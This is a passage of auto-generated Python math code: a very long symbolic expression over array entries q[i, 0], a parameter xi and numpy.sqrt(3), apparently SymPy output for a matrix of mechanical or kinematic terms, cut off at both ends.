0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 252839.506172839*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1066.66666666667*(q[1, 0] - q[2, 0])**2 + 1)*(-38484469995.8182*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 1217672683.46143*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 23972930.955647*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 252839.506172839*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1066.66666666667*(q[4, 0] - q[5, 0])**2 + 1))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + ((-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(2405279374.73864*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 898984.910836762*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 6320.98765432099*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 30441817.0865359*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 53.3333333333333*q[3, 0] - 26.6666666666667*q[4, 0] - 26.6666666666667*q[5, 0]) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-12828156665.2727*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 2004399.47894886*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*(2*q[3, 0] - q[4, 0] - q[5, 0])**2 + 1) + (12828156665.2727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0]))*(-38484469995.8182*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 252839.506172839*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1066.66666666667*(q[1, 0] - q[2, 0])**2 + 1))*(-160351958.315909*xi**10*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2) - 4.44444444444444*xi**2*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + ((-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(-51312626661.0909*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**5 + 1623563577.94858*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 31963907.9408627*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 337119.341563786*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1422.22222222222*q[3, 0]**2 + 1422.22222222222*q[3, 0]*q[4, 0] + 1422.22222222222*q[3, 0]*q[5, 0] - 1422.22222222222*q[4, 0]**2 + 1422.22222222222*q[4, 0]*q[5, 0] - 1422.22222222222*q[5, 0]**2 + 1) + (-4810558749.47727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[4, 0] - q[5, 0]))*(-38484469995.8182*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 252839.506172839*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1066.66666666667*(q[1, 0] - q[2, 0])**2 + 1) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-2405279374.73864*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 898984.910836762*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 6320.98765432099*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 30441817.0865359*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 53.3333333333333*q[3, 0] + 26.6666666666667*q[4, 0] + 26.6666666666667*q[5, 0]))*(60131984.3684659*xi**9*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 - 1522090.85432679*xi**7*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 + 22474.6227709191*xi**5*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 - 79.0123456790123*xi**3*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(2*q[6, 0]**2 - 2*q[6, 0]*q[7, 0] - 2*q[6, 0]*q[8, 0] + 2*q[7, 0]**2 - 2*q[7, 0]*q[8, 0] + 2*q[8, 0]**2) + (1/3)*xi*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + 1053.49794238683*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(60131984.3684659*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*q[3, 0] + (1/3)*q[4, 0] + (1/3)*q[5, 0] + 0.15) + (-160351958.315909*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])) + (-160351958.315909*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 4.44444444444444*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2))*(-38484469995.8182*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 252839.506172839*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1066.66666666667*(q[1, 0] - q[2, 0])**2 + 1)], [((4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(-4810558749.47727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[4, 0] - q[5, 0])) + (2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 53.3333333333333*q[0, 0] - 26.6666666666667*q[1, 0] - 26.6666666666667*q[2, 0])*(-2405279374.73864*(4*q[3, 